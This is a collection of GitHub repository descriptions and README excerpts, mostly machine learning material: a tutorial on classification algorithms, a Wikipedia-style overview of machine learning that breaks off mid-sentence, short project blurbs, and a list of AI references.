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sayantann11
Classification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
RaoHammas
Social Space is an app that let you open your apps side-by-side & save workspaces.
comunes
Kune is a free/open source federated collaborative social network, focused on collaboration rather than just in communication. That is, it focuses on online real-time collaborative editing (based on Apache Wave), decentralized social networking and web publishing, while focusing on workgroups rather than just in individuals. It aims to allow the creation of online spaces of collaborative work, where organizations and individuals can build projects online, coordinate common agendas, set up virtual meetings, publish in the web, and join organizations with similar interests. NOTE: This Github repo is a MIRROR of the real Gitorious repo.
Custom classification algorithm to sense the bots vs human on social media space like twitter
Modification of the paper "Social LSTM: Human Trajectory Prediction in Crowded Space" with the insertion of a new way to take into account social information and the consideration of the pedestrian goal.
Aryia-Behroziuan
An ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
bigai-ai
AdaSociety is a customizable multi-agent environment featuring expanding state and action spaces, alongside explicit and alterable social structures. AdaSociety is friendly to tensor-based and LLM-based methods.
Aryia-Behroziuan
Poole, Mackworth & Goebel 1998, p. 1. Russell & Norvig 2003, p. 55. Definition of AI as the study of intelligent agents: Poole, Mackworth & Goebel (1998), which provides the version that is used in this article. These authors use the term "computational intelligence" as a synonym for artificial intelligence.[1] Russell & Norvig (2003) (who prefer the term "rational agent") and write "The whole-agent view is now widely accepted in the field".[2] Nilsson 1998 Legg & Hutter 2007 Russell & Norvig 2009, p. 2. McCorduck 2004, p. 204 Maloof, Mark. "Artificial Intelligence: An Introduction, p. 37" (PDF). georgetown.edu. Archived (PDF) from the original on 25 August 2018. "How AI Is Getting Groundbreaking Changes In Talent Management And HR Tech". Hackernoon. Archived from the original on 11 September 2019. Retrieved 14 February 2020. Schank, Roger C. (1991). "Where's the AI". AI magazine. Vol. 12 no. 4. p. 38. Russell & Norvig 2009. "AlphaGo – Google DeepMind". Archived from the original on 10 March 2016. Allen, Gregory (April 2020). "Department of Defense Joint AI Center - Understanding AI Technology" (PDF). AI.mil - The official site of the Department of Defense Joint Artificial Intelligence Center. Archived (PDF) from the original on 21 April 2020. Retrieved 25 April 2020. Optimism of early AI: * Herbert Simon quote: Simon 1965, p. 96 quoted in Crevier 1993, p. 109. * Marvin Minsky quote: Minsky 1967, p. 2 quoted in Crevier 1993, p. 109. Boom of the 1980s: rise of expert systems, Fifth Generation Project, Alvey, MCC, SCI: * McCorduck 2004, pp. 426–441 * Crevier 1993, pp. 161–162,197–203, 211, 240 * Russell & Norvig 2003, p. 24 * NRC 1999, pp. 210–211 * Newquist 1994, pp. 235–248 First AI Winter, Mansfield Amendment, Lighthill report * Crevier 1993, pp. 115–117 * Russell & Norvig 2003, p. 22 * NRC 1999, pp. 212–213 * Howe 1994 * Newquist 1994, pp. 189–201 Second AI winter: * McCorduck 2004, pp. 430–435 * Crevier 1993, pp. 209–210 * NRC 1999, pp. 214–216 * Newquist 1994, pp. 301–318 AI becomes hugely successful in the early 21st century * Clark 2015 Pamela McCorduck (2004, p. 424) writes of "the rough shattering of AI in subfields—vision, natural language, decision theory, genetic algorithms, robotics ... and these with own sub-subfield—that would hardly have anything to say to each other." This list of intelligent traits is based on the topics covered by the major AI textbooks, including: * Russell & Norvig 2003 * Luger & Stubblefield 2004 * Poole, Mackworth & Goebel 1998 * Nilsson 1998 Kolata 1982. Maker 2006. Biological intelligence vs. intelligence in general: Russell & Norvig 2003, pp. 2–3, who make the analogy with aeronautical engineering. McCorduck 2004, pp. 100–101, who writes that there are "two major branches of artificial intelligence: one aimed at producing intelligent behavior regardless of how it was accomplished, and the other aimed at modeling intelligent processes found in nature, particularly human ones." Kolata 1982, a paper in Science, which describes McCarthy's indifference to biological models. Kolata quotes McCarthy as writing: "This is AI, so we don't care if it's psychologically real".[19] McCarthy recently reiterated his position at the AI@50 conference where he said "Artificial intelligence is not, by definition, simulation of human intelligence".[20]. Neats vs. scruffies: * McCorduck 2004, pp. 421–424, 486–489 * Crevier 1993, p. 168 * Nilsson 1983, pp. 10–11 Symbolic vs. sub-symbolic AI: * Nilsson (1998, p. 7), who uses the term "sub-symbolic". General intelligence (strong AI) is discussed in popular introductions to AI: * Kurzweil 1999 and Kurzweil 2005 See the Dartmouth proposal, under Philosophy, below. McCorduck 2004, p. 34. McCorduck 2004, p. xviii. McCorduck 2004, p. 